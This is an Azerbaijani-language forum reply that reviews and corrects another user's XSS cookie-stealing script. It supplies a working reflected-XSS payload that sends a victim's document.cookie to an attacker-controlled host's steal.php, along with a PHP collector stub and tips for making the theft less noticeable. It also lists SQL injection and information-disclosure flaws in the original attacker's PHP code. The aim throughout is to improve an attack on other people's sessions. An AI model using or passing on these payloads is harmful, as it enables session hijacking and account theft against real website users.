Əziyyət çəkmisən təqdirə layiqdir. Ancaq bəzi çatışmazlıqlar var. Məsələyə texniki və məntiqi tərəfdən yanaşacam. Məntiqi tərəfdə olan problemə görə ümumiyyətlə bu skript yararsızdı. Deməli əgər sən victim.am/page.php?id=1"><script>location.href='http://sizinhost/xss/xss.php';</script> yazaraq hədəfi Javascript hesabına yönləndirsən(cookie ni 1ci fazada götürməsən) və sonra steal.php də loglamağa cəhd etsən ancaq http://sizinhost üçün verilən cookie ni loglayacaqsan. Browser dəki Same-origin policy buna icazə verməyəcək. Düzgün variant 1ci fazada COOKİE oğurlamaqdı.Məsələn belə:
1. XSS bu tərz eksplotasiya olunmalıdı: Kod:
victim.am/page.php?id=1"><script>document.write("<img src='http://sizinhost/steal.php?data="+document.cookie+"' />")</script>
2. steal.php də bu tərz kod olmalıdı:
Kod:
<?php
if(isset($_GET['data'])){
//Sanitaziya, validasiya ve type-casting olunmus $_GET['data'] menimsedilir $data-ya
//$data DB ye insert olunur
}
?>
Sənin yazdığın kodun niyə işləmədiyini başa düşmək istəsən SOP (same-origin policy) haqda oxu. Mən yazan ssenari transparent yoldur. Hədəfi yönləndirmirsən. Daha transparent yol istəsən AJAX ilə dataları POST edə bilərsən ama bu halda CORS (cross origin resource sharing) aktiv eləməlisən. Bu halda victim-in ruhu da inciməyəcək.
Texniki tərəfdə olan problemlər isə yazdığın kod vulnerable dı yəni sən camaatı pwn eləmək istəyəndə elə səni pwn edəcəklər.
1. SQL Injection və XSS
steal.php də olan boşluqlar hesabına həm səni pwn edəcəklər həm də sənin pwn elədiklərini pwn edəcəklər DB yə insert olunan data XSS ə qarşı sanitaziya və validasiya olunmadığından vics.php girəndə pwn olacaqsan.
Kod:
<?php
include "conf.php";
echo '<form method ="GET">';
$cookie = $_GET['cookie'];
$ip = $_SERVER['REMOTE_ADDR'];
$browser = $_SERVER['HTTP_USER_AGENT'];
$port = $_SERVER['REMOTE_PORT'];
$querysteal = mysql_query("INSERT INTO victim VALUES ('','$ip','$cookie','$browser','$port')");
?>
Burda $cookie, $browser boşluğu saxlayan dəyişənlərdir. Sanitaziya və validasiya mütləqdir.
2. Information disclosure
md5.php də olan $_POST['a'] vulnerable parametrdir. Əgər ora məsələn array gondərsən info disc çıxacaq. Type casting mütləqdir. Bu problem login.php də olan $uname,$upass parametr lərində də var.